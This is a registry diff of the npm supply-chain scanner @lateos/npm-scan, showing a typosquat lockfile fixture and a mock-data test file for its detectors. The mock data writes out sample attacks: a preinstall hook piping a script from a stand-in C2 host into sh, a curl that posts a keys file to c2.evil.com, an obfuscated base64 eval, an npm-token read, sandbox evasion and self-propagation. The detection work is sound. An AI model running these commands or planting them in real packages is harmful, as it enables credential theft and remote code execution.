@lateos/npm-scan 0.16.4 → 0.16.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (96) hide show
  1. package/.dockerignore +20 -20
  2. package/.husky/pre-commit +1 -1
  3. package/CHANGELOG.md +199 -199
  4. package/LICENSING.md +19 -19
  5. package/README.de.md +708 -708
  6. package/README.fr.md +707 -707
  7. package/README.ja.md +704 -704
  8. package/README.md +826 -826
  9. package/README.zh.md +708 -708
  10. package/SECURITY.md +72 -72
  11. package/backend/cra.js +68 -68
  12. package/backend/db/schema.sql +32 -32
  13. package/backend/db.js +88 -88
  14. package/backend/detectors/atk-001-lifecycle.js +17 -17
  15. package/backend/detectors/atk-002-obfusc.js +261 -261
  16. package/backend/detectors/atk-003-creds.js +13 -13
  17. package/backend/detectors/atk-004-persist.js +13 -13
  18. package/backend/detectors/atk-005-exfil.js +13 -13
  19. package/backend/detectors/atk-006-depconf.js +14 -14
  20. package/backend/detectors/atk-007-typosquat.js +34 -34
  21. package/backend/detectors/atk-008-tarball-tamper.js +91 -91
  22. package/backend/detectors/atk-009-dormant-trigger.js +62 -62
  23. package/backend/detectors/atk-010-sandbox-evasion.js +50 -50
  24. package/backend/detectors/atk-011-transitive-prop.js +76 -76
  25. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +99 -99
  26. package/backend/detectors/cve-2026-48710-badhost/findings.js +105 -105
  27. package/backend/detectors/cve-2026-48710-badhost/index.js +15 -15
  28. package/backend/detectors/cve-2026-48710-badhost/manifest.js +305 -305
  29. package/backend/detectors/cve-2026-48710-badhost/transitive.js +189 -189
  30. package/backend/detectors/hf-impersonation/index.js +396 -396
  31. package/backend/detectors/hf-impersonation/jaro-winkler.js +44 -44
  32. package/backend/detectors/hf-impersonation/known-orgs.js +5 -5
  33. package/backend/detectors/hf-impersonation/simhash.js +46 -46
  34. package/backend/detectors/index.js +75 -44
  35. package/backend/detectors/megalodon/d1-workflow-scan.js +147 -147
  36. package/backend/detectors/megalodon/d2-credential-harvest.js +61 -61
  37. package/backend/detectors/megalodon/d3-publish-velocity.js +67 -67
  38. package/backend/detectors/megalodon/d4-publisher-drift.js +124 -124
  39. package/backend/detectors/megalodon/d5-bot-commit-identity.js +3 -3
  40. package/backend/detectors/megalodon/d6-date-anachronism.js +3 -3
  41. package/backend/detectors/megalodon/index.js +80 -80
  42. package/backend/detectors/megalodon/types.js +9 -9
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +42 -42
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +116 -116
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +72 -72
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +45 -45
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +95 -95
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +38 -38
  49. package/backend/detectors/mini-shai-hulud/index.js +118 -118
  50. package/backend/detectors/mini-shai-hulud/iocs.json +79 -79
  51. package/backend/detectors/tier1-binary-embed.js +219 -0
  52. package/backend/detectors/tier1-infostealer.js +280 -0
  53. package/backend/detectors/tier1-lifecycle-hook.js +176 -0
  54. package/backend/detectors/tier1-metadata-spoof.js +180 -0
  55. package/backend/detectors/tier1-typosquat.js +219 -0
  56. package/backend/fetch.js +175 -175
  57. package/backend/index.js +4 -4
  58. package/backend/license.js +89 -89
  59. package/backend/lockfile.js +379 -379
  60. package/backend/pdf.js +245 -245
  61. package/backend/policy.js +193 -176
  62. package/backend/report.js +254 -254
  63. package/backend/sbom.js +66 -66
  64. package/backend/siem/cef.js +32 -32
  65. package/backend/siem/ecs.js +40 -40
  66. package/backend/siem/index.js +18 -18
  67. package/backend/siem/qradar.js +56 -56
  68. package/backend/siem/sentinel.js +27 -27
  69. package/backend/vsix-scan/detectors/activation-event-risk.js +116 -116
  70. package/backend/vsix-scan/detectors/burst-publish.js +52 -52
  71. package/backend/vsix-scan/detectors/exfil-pattern.js +88 -88
  72. package/backend/vsix-scan/detectors/known-ioc.js +105 -105
  73. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +69 -69
  74. package/backend/vsix-scan/detectors/publisher-anomaly.js +70 -70
  75. package/backend/vsix-scan/index.js +183 -183
  76. package/backend/vsix-scan/marketplace-client.js +145 -145
  77. package/backend/vsix-scan/vsix-iocs.json +31 -31
  78. package/cli/cli.js +458 -458
  79. package/deploy/helm/npm-scan/Chart.yaml +21 -21
  80. package/deploy/helm/npm-scan/templates/_helpers.tpl +8 -8
  81. package/deploy/helm/npm-scan/templates/api.yaml +93 -93
  82. package/deploy/helm/npm-scan/templates/ingress.yaml +27 -27
  83. package/deploy/helm/npm-scan/templates/postgresql.yaml +66 -66
  84. package/deploy/helm/npm-scan/templates/secrets.yaml +18 -18
  85. package/deploy/helm/npm-scan/templates/worker.yaml +31 -31
  86. package/deploy/helm/npm-scan/values.byoc.yaml +74 -74
  87. package/deploy/helm/npm-scan/values.yaml +102 -102
  88. package/package.json +57 -57
  89. package/scripts/download-corpus.js +30 -30
  90. package/scripts/gen-mal-corpus.js +34 -34
  91. package/scripts/generate-campaign-fixtures.js +170 -0
  92. package/src/config/top-5000.json +87 -0
  93. package/test/fixtures/lockfiles/npm-lock.json +68 -68
  94. package/test/fixtures/lockfiles/pnpm-lock.yaml +117 -117
  95. package/test/fixtures/lockfiles/yarn.lock +103 -103
  96. package/test/fixtures/mock-data.js +69 -69
@@ -1,104 +1,104 @@
1
- lodash@^4.17.21:
2
- version "4.17.21"
3
- resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz"
4
- integrity sha512-Vythumb
5
- dependencies: {}
6
- dev false
7
- optional true
8
-
9
- axios@^1.6.0:
10
- version "1.6.8"
11
- resolved "https://registry.yarnpkg.com/axios/-/axios-1.6.8.tgz"
12
- integrity sha-j2xvyqwsdd456789abcdef
13
- dependencies:
14
- form-data "4.0.0"
15
- proxy-from-env "1.1.0"
16
- dev false
17
- optional false
18
-
19
- "@babel/core@^7.23.0", "@babel/core@^7.23.9":
20
- version "7.23.9"
21
- resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
22
- integrity sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==
23
- dependencies:
24
- "@babel/generator" "^7.23.6"
25
- "@babel/parser" "^7.23.9"
26
- "@babel/traverse" "^7.23.9"
27
- "@babel/types" "^7.23.9"
28
- convert-source-map "^2.0.0"
29
- debug "^4.1.0"
30
- gensync "^1.0.0-beta.2"
31
- json5 "^2.2.3"
32
- semver "^6.3.1"
33
- rimraf "^3.0.2"
34
- dev true
35
- optional false
36
-
37
- "@babel/generator@^7.23.6", "@babel/generator@^7.23.9":
38
- version "7.23.6"
39
- resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
40
- integrity sha512-56bfx9G1AJAFDl5QuK6t7MTCW3CBi7J8j+GxJJPvZ7L1f4P2FG8f9dBiH8Hg4U5Gcb6Bi4Y8DQ8x0j8b1QE8w==
41
- dependencies:
42
- "@babel/types" "^7.23.6"
43
- "@jridgewell/gen-mapping" "^0.3.2"
44
- "@jridgewell/trace-mapping" "^0.3.17"
45
- jsesc "^2.5.1"
46
- dev false
47
- optional false
48
-
49
- reakt@^18.2.0:
50
- version "18.2.0"
51
- resolved "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
52
- integrity sha512-abcdabcd1234defghi
53
- dependencies: []
54
- dev false
55
- optional true
56
-
57
- express@npm:expres@^4.18.2:
58
- version "4.18.2"
59
- resolved "https://registry.npmjs.org/expres-4.18.2.tgz"
60
- integrity sha512-abcdabcd1234abcdefghi
61
- dependencies:
62
- accepts "~1.3.8"
63
- array-flatten "1.1.1"
64
- body-parser "1.20.2"
65
- content-disposition "0.5.4"
66
- content-type "~1.0.5"
67
- cookie "0.5.0"
68
- cookie-signature "1.0.6"
69
- debug "2.6.9"
70
- depd "2.0.0"
71
- encodeurl "~1.0.2"
72
- escape-html "~1.0.3"
73
- etag "~1.8.1"
74
- finalhandler "1.2.0"
75
- fresh "0.5.2"
76
- http-errors "2.0.0"
77
- merge-descriptors "1.0.1"
78
- methods "~1.1.2"
79
- on-finished "2.4.1"
80
- parseurl "~1.3.3"
81
- path-to-regexp "0.1.7"
82
- proxy-addr "~2.0.7"
83
- qs "6.11.0"
84
- range-parser "~1.2.1"
85
- safe-buffer "5.2.1"
86
- send "0.18.0"
87
- serve-static "1.15.0"
88
- setprototypeof "1.2.0"
89
- statuses "2.0.1"
90
- type-is "~1.6.18"
91
- utils-merge "1.0.1"
92
- vary "~1.1.2"
93
- dev false
94
- optional false
95
-
96
- "my-scope-plugin@npm:my-scope-plugin@^1.0.0":
97
- version "1.0.0"
98
- resolved "https://registry.npmjs.org/my-scope-plugin-1.0.0.tgz"
99
- integrity sha512-abcdefghijk123456789abcdef
100
- dependencies:
101
- lodash "^4.17.21"
102
- axios "^1.6.0"
103
- dev false
1
+ lodash@^4.17.21:
2
+ version "4.17.21"
3
+ resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz"
4
+ integrity sha512-Vythumb
5
+ dependencies: {}
6
+ dev false
7
+ optional true
8
+
9
+ axios@^1.6.0:
10
+ version "1.6.8"
11
+ resolved "https://registry.yarnpkg.com/axios/-/axios-1.6.8.tgz"
12
+ integrity sha-j2xvyqwsdd456789abcdef
13
+ dependencies:
14
+ form-data "4.0.0"
15
+ proxy-from-env "1.1.0"
16
+ dev false
17
+ optional false
18
+
19
+ "@babel/core@^7.23.0", "@babel/core@^7.23.9":
20
+ version "7.23.9"
21
+ resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
22
+ integrity sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==
23
+ dependencies:
24
+ "@babel/generator" "^7.23.6"
25
+ "@babel/parser" "^7.23.9"
26
+ "@babel/traverse" "^7.23.9"
27
+ "@babel/types" "^7.23.9"
28
+ convert-source-map "^2.0.0"
29
+ debug "^4.1.0"
30
+ gensync "^1.0.0-beta.2"
31
+ json5 "^2.2.3"
32
+ semver "^6.3.1"
33
+ rimraf "^3.0.2"
34
+ dev true
35
+ optional false
36
+
37
+ "@babel/generator@^7.23.6", "@babel/generator@^7.23.9":
38
+ version "7.23.6"
39
+ resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
40
+ integrity sha512-56bfx9G1AJAFDl5QuK6t7MTCW3CBi7J8j+GxJJPvZ7L1f4P2FG8f9dBiH8Hg4U5Gcb6Bi4Y8DQ8x0j8b1QE8w==
41
+ dependencies:
42
+ "@babel/types" "^7.23.6"
43
+ "@jridgewell/gen-mapping" "^0.3.2"
44
+ "@jridgewell/trace-mapping" "^0.3.17"
45
+ jsesc "^2.5.1"
46
+ dev false
47
+ optional false
48
+
49
+ reakt@^18.2.0:
50
+ version "18.2.0"
51
+ resolved "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
52
+ integrity sha512-abcdabcd1234defghi
53
+ dependencies: []
54
+ dev false
55
+ optional true
56
+
57
+ express@npm:expres@^4.18.2:
58
+ version "4.18.2"
59
+ resolved "https://registry.npmjs.org/expres-4.18.2.tgz"
60
+ integrity sha512-abcdabcd1234abcdefghi
61
+ dependencies:
62
+ accepts "~1.3.8"
63
+ array-flatten "1.1.1"
64
+ body-parser "1.20.2"
65
+ content-disposition "0.5.4"
66
+ content-type "~1.0.5"
67
+ cookie "0.5.0"
68
+ cookie-signature "1.0.6"
69
+ debug "2.6.9"
70
+ depd "2.0.0"
71
+ encodeurl "~1.0.2"
72
+ escape-html "~1.0.3"
73
+ etag "~1.8.1"
74
+ finalhandler "1.2.0"
75
+ fresh "0.5.2"
76
+ http-errors "2.0.0"
77
+ merge-descriptors "1.0.1"
78
+ methods "~1.1.2"
79
+ on-finished "2.4.1"
80
+ parseurl "~1.3.3"
81
+ path-to-regexp "0.1.7"
82
+ proxy-addr "~2.0.7"
83
+ qs "6.11.0"
84
+ range-parser "~1.2.1"
85
+ safe-buffer "5.2.1"
86
+ send "0.18.0"
87
+ serve-static "1.15.0"
88
+ setprototypeof "1.2.0"
89
+ statuses "2.0.1"
90
+ type-is "~1.6.18"
91
+ utils-merge "1.0.1"
92
+ vary "~1.1.2"
93
+ dev false
94
+ optional false
95
+
96
+ "my-scope-plugin@npm:my-scope-plugin@^1.0.0":
97
+ version "1.0.0"
98
+ resolved "https://registry.npmjs.org/my-scope-plugin-1.0.0.tgz"
99
+ integrity sha512-abcdefghijk123456789abcdef
100
+ dependencies:
101
+ lodash "^4.17.21"
102
+ axios "^1.6.0"
103
+ dev false
104
104
  optional false
@@ -1,69 +1,69 @@
1
- export const MOCK_SCANS = [
2
- {
3
- package_name: 'lodash',
4
- version: '4.17.21',
5
- findings: [
6
- { id: 'ATK-003', atk_id: 'ATK-003', severity: 'high', title: 'Credential harvest', description: 'Scrapes env vars', evidence: 'process.env.NPM_TOKEN' },
7
- { id: 'ATK-009', severity: 'medium', title: 'Time trigger', description: 'Conditional trigger (time-based)', evidence: 'time-based trigger detected' },
8
- ],
9
- },
10
- ];
11
-
12
- export const SINGLE_SCAN = MOCK_SCANS[0];
13
-
14
- export const EMPTY_SCAN = { package_name: 'clean-pkg', version: '1.0.0', findings: [] };
15
-
16
- export const MULTI_SEV_SCAN = {
17
- package_name: 'multi-sev', version: '1.0.0', findings: [
18
- { id: 'ATK-001', severity: 'critical', title: 'Critical finding' },
19
- { id: 'ATK-002', severity: 'high', title: 'High finding' },
20
- { id: 'ATK-003', severity: 'medium', title: 'Medium finding' },
21
- { id: 'ATK-004', severity: 'low', title: 'Low finding' },
22
- ],
23
- };
24
-
25
- export const ALL_ATK_SCAN = {
26
- package_name: 'all-atk', version: '1.0.0', findings:
27
- Array.from({ length: 11 }, (_, i) => ({
28
- id: `ATK-${String(i + 1).padStart(3, '0')}`,
29
- atk_id: `ATK-${String(i + 1).padStart(3, '0')}`,
30
- severity: 'medium',
31
- title: `ATK-${i + 1}`,
32
- })),
33
- };
34
-
35
- export const CLEAN_PACKAGE = {
36
- name: 'test-pkg',
37
- version: '1.0.0',
38
- scripts: { test: 'node test.js' },
39
- dependencies: { express: '4.0.0' },
40
- };
41
-
42
- export const CLEAN_CODE = 'module.exports = function() { return 42 }';
43
-
44
- export const PREINSTALL_MALICIOUS = {
45
- scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' },
46
- };
47
-
48
- export const EVAL_OBFUSCATED = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
49
-
50
- export const CRED_EXFIL = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
51
-
52
- export const PERSIST_CODE = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
53
-
54
- export const NET_EXFIL_CODE = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
55
-
56
- export const DEP_CONF_PACKAGE = { dependencies: { 'acorn-squatter': '1.0.0' } };
57
-
58
- export const TYPOSQUAT_PACKAGE = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
59
-
60
- export const TAMPER_PACKAGE = {
61
- name: 'lodash',
62
- repository: { url: 'https://github.com/attacker/lodash-evil.git' },
63
- };
64
-
65
- export const CI_TRIGGER_CODE = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
66
-
67
- export const SANDBOX_CODE = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
68
-
69
- export const PROPAGATION_CODE = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];
1
+ export const MOCK_SCANS = [
2
+ {
3
+ package_name: 'lodash',
4
+ version: '4.17.21',
5
+ findings: [
6
+ { id: 'ATK-003', atk_id: 'ATK-003', severity: 'high', title: 'Credential harvest', description: 'Scrapes env vars', evidence: 'process.env.NPM_TOKEN' },
7
+ { id: 'ATK-009', severity: 'medium', title: 'Time trigger', description: 'Conditional trigger (time-based)', evidence: 'time-based trigger detected' },
8
+ ],
9
+ },
10
+ ];
11
+
12
+ export const SINGLE_SCAN = MOCK_SCANS[0];
13
+
14
+ export const EMPTY_SCAN = { package_name: 'clean-pkg', version: '1.0.0', findings: [] };
15
+
16
+ export const MULTI_SEV_SCAN = {
17
+ package_name: 'multi-sev', version: '1.0.0', findings: [
18
+ { id: 'ATK-001', severity: 'critical', title: 'Critical finding' },
19
+ { id: 'ATK-002', severity: 'high', title: 'High finding' },
20
+ { id: 'ATK-003', severity: 'medium', title: 'Medium finding' },
21
+ { id: 'ATK-004', severity: 'low', title: 'Low finding' },
22
+ ],
23
+ };
24
+
25
+ export const ALL_ATK_SCAN = {
26
+ package_name: 'all-atk', version: '1.0.0', findings:
27
+ Array.from({ length: 11 }, (_, i) => ({
28
+ id: `ATK-${String(i + 1).padStart(3, '0')}`,
29
+ atk_id: `ATK-${String(i + 1).padStart(3, '0')}`,
30
+ severity: 'medium',
31
+ title: `ATK-${i + 1}`,
32
+ })),
33
+ };
34
+
35
+ export const CLEAN_PACKAGE = {
36
+ name: 'test-pkg',
37
+ version: '1.0.0',
38
+ scripts: { test: 'node test.js' },
39
+ dependencies: { express: '4.0.0' },
40
+ };
41
+
42
+ export const CLEAN_CODE = 'module.exports = function() { return 42 }';
43
+
44
+ export const PREINSTALL_MALICIOUS = {
45
+ scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' },
46
+ };
47
+
48
+ export const EVAL_OBFUSCATED = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
49
+
50
+ export const CRED_EXFIL = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
51
+
52
+ export const PERSIST_CODE = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
53
+
54
+ export const NET_EXFIL_CODE = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
55
+
56
+ export const DEP_CONF_PACKAGE = { dependencies: { 'acorn-squatter': '1.0.0' } };
57
+
58
+ export const TYPOSQUAT_PACKAGE = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
59
+
60
+ export const TAMPER_PACKAGE = {
61
+ name: 'lodash',
62
+ repository: { url: 'https://github.com/attacker/lodash-evil.git' },
63
+ };
64
+
65
+ export const CI_TRIGGER_CODE = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
66
+
67
+ export const SANDBOX_CODE = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
68
+
69
+ export const PROPAGATION_CODE = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];